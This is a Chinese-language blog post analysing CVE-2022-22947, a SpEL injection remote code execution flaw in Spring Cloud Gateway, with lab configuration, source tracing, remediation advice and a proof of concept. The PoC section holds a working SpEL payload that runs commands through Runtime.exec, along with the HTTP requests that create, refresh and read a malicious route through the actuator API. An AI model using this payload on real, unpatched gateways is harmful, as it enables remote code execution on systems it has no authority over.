0x00 前言
前段时间 Spring Cloud Gateway 爆出了一个CVE-2022-22947 SpEL表达式注入的命令执行漏洞。
今天通过该漏洞来学习一下SpEL表达式漏洞的挖掘思路。
0x01 漏洞简介
Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。
当Spring Cloud Gateway启用、暴露和不安全Gateway Actuator 端点时,攻击者可以通过向使用 Spring Cloud Gateway 的应用程序发送特制的恶意请求,触发远程任意代码执行。
0x02 漏洞影响
漏洞版本:
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
以及旧的不受支持的版本
安全版本:
Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7
0x03 Spring Cloud Gateway
参考:
http://c.biancheng.net/springcloud/gateway.html
在漏洞分析之前先简单介绍一下Spring Cloud Gateway,
3.1. 工作流程
流程大概就是:Spring Cloud Gateway 收到客户端请求 -> Gateway Handler Mapping 根据配置的predicate规则来匹配路由 -> Gateway Handler Mapping 调用对应的filter -> 路由前(Pre)的filter对请求进行处理 -> 请求到达实际业务节点 -> 路由后(Post)的filter对响应进行处理 -> 返回给客户端
3.2. 核心部分
Spring Cloud Gateway 的核心主要是以下三个部分:
1. Route(路由)
由id、uri、predicates(列表)和filters(列表)组成
2. Predicate(谓词)
根据请求方式、请求路径、请求头、参数等对请求进行匹配,匹配成功则将请求转发到相应的服务(uri)
注:
一个Route可以包含多个Predicate;
一个请求想要转发到指定的路由上,就必须同时匹配路由上的所有断言;
当一个请求同时满足多个路由的断言条件时,请求只会被首个成功匹配的路由转发。
3. Filter(过滤器)
可以对请求和响应进行拦截和修改
以上是对Spring Cloud Gateway的简单介绍,下面开始进行漏洞分析。
0x04 环境搭建
本次分析用的是3.1.0版本,创建Spring项目,配置如下:
4.1. pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.springcloud.gatway</groupId>
<artifactId>springcloud.gatway.demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.4</version>
<relativePath/>
</parent>
<properties>
<java.version>1.8</java.version>
<spring-cloud.version>2021.0.1</spring-cloud.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
<version>${parent.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
<version>${parent.version}</version>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-dependencies</artifactId>
<version>${spring-cloud.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
4.2. application.yml
server:
port: 8808
spring:
management:
endpoint:
gateway:
enabled: false
cloud:
gateway:
# 开启打印请求包内容
httpclient:
wiretap: true
# 开启打印响应包内容
httpserver:
wiretap: true
routes:
- id: test
order: 1
uri: https://www.baidu.com
predicates:
- Query=bd # 只要发送过来的请求后面的参数为bd,则匹配成功跳转到uri(https://www.baidu.com)
- id: qt # 路由唯一标识,多个id不要重复即可
order: 0 # 数字越小,优先级越高
uri: https://www.qingteng.cn # 需要转发的路由地址
predicates: # 谓词规则的集合,需要全部匹配成功才能转发到uri
- Path=/wx-product-home.html # 只要发送过来的请求后面的path为/wx-product-home.html,则匹配成功,将path追加到uri后面(https://www.qingteng.cn/wx-product-home.html)
filters: # 过滤器
- AddResponseHeader=X-Response-QT, qingteng #添加响应头字段AddResponseHeader,值为X-Response-QT=qingteng
logging:
level:
org.springframework.cloud.gateway: TRACE
org.springframework.http.server.reactive: DEBUG
org.springframework.web.reactive: DEBUG
reactor.ipc.netty: DEBUG
reactor.netty: DEBUG
management.endpoints.web.exposure.include: '*'
4.3. 路由规则演示
predicates:Query
filters:AddResponseHeader
0x05 漏洞分析
5.1. 源码分析
github直接找到相关commit:
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
代码中用GatewayEvaluationContext替换StandardEvaluationContext 进行漏洞修复,org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue 中调用了Expression对象的getValue方法:
可以看到是个SpEL表达式注入,当entryValue的参数为SpEL表达式时就会调用getValue方法造成命令执行。
那么现在我们的思路就是跟踪参数entryValue,看看它是从哪里传进来的。
开始回溯 org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue 的调用链,getValue方法首先是在ShortcutType#normalize方法中被调用,我们关注的是它的第一个参数args:
ShortcutType#normalize方法在org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中被调用:
这里可以看到,ConfigurableBuilder继承了抽象类AbstractBuilder,并且重写了normalizeProperties方法,它的第一个参数是父类AbstractBuilder中的全局变量properties:
那么看下properties是在哪里初始化的:
可以看到其是由AbstractBuilder类中properties方法传入的参数完成初始化,并且properties方法在org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator类中分别被lookup和loadGatewayFilters方法调用,下断点调试一下这两个方法:
lookup:
properties方法的参数和yml配置里的predicates的值是一样的;loadGatewayFilters:
properties方法的参数和yml配置里的filters的值是一样的。
经过跟踪,最后的调用链如下:
getRoutes
-> convertToRoute
-> combinePredicates
-> lookup
-> getFilters
-> loadGatewayFilters
可以看到最后调用到了RouteLocator的接口方法getRoutes,它的作用是获取路由,提供统一调用。
其中在 org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint 类中调用了getRoutes方法,注解中也出现了对应的路由,并通过id获取指定的路由信息,所以肯定和操作路由有关系。
5.2. 挖掘思路
综合上述的分析,其整个项目工作过程简单总结一下就是:
解析项目中yml配置 -> 将配置里的filters和predicates分别封装成对应的对象 -> 最后将两者转换成路由 -> 获取所有路由信息
现在漏洞利用的思路就有了,如果能够手动创建新路由就可以利用,那么问题来了,如何创建路由呢?
官方文档中有对应的API,接下来我们根据文档来构造POC。
0x06 POC构造
官网文档:https://cloud.spring.io/spring-cloud-gateway/reference/html/#creating-and-deleting-a-particular-route
这些都是对路由操作的API,向路径/actuator/gateway/routes/{id} 用POST请求发送一个json格式的包是创建一个新路由,GET请求是获取指定id的路由信息,DELETE是删除指定id的路由, refresh是刷新路由缓存, 我们想要成功执行SpEL表达式,需要按照下面步骤:
6.1. 创建路由
json格式已经给出,直接构造即可:
{
"id": "nosu",
"predicates": [
{
"name": "Path",
"args": {
"x": "x",
"y": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String("id")).getInputStream()),"utf-8")}"
}
}
],
"uri": "http://127.0.0.1",
"order": 0
}
POST /actuator/gateway/routes/fudn HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 283
{"id": "fudn", "predicates": [{"name": "Path", "args": {"x": "x", "y": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String("id")).getInputStream()),"utf-8")}"}}], "uri": "http://127.0.0.1", "order": 0}
响应码为201,表示路由创建成功。
Tips:
1. 这里是在predicates加入了SpEL表达式,用filters也是一样的,就不重复写了,下同;
2. 这里name的值要注意,要符合predicates的规则,filters同理;
3. 这里执行命令用的是Spring提供的工具类StreamUtils的copyToByteArray方法将Runtime执行命令后的输入流转换为字符串(new String(StreamUtils.copyToByteArray(Runtime.getRuntime().exec("cmd").getInputStream()), "utf-8"))。
6.2. 刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
响应码为200,表示路由刷新成功。
6.3. 获取路由信息
GET /actuator/gateway/routes/fudn HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
响应码为200,并且返回了命令执行的结果。
6.4. 删除路由
DELETE /actuator/gateway/routes/fudn HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
删除路由并不是必须的,不过还是建议删除,删除完记得刷新一次,只有刷新才会使你的操作生效。
0x07 修复方案
-
升级到安全版本
https://github.com/spring-cloud/spring-cloud-gateway/tags
-
如果不需要Actuator端点,设置 management.endpoint.gateway.enabled: false 禁用它
0x08 参考
https://tanzu.vmware.com/security/cve-2022-22947
https://cloud.spring.io/spring-cloud-gateway/reference/html
http://c.biancheng.net/springcloud/gateway.html
原文始发于微信公众号(清河六点下班):Spring Cloud Gateway CVE-2022-22947 漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论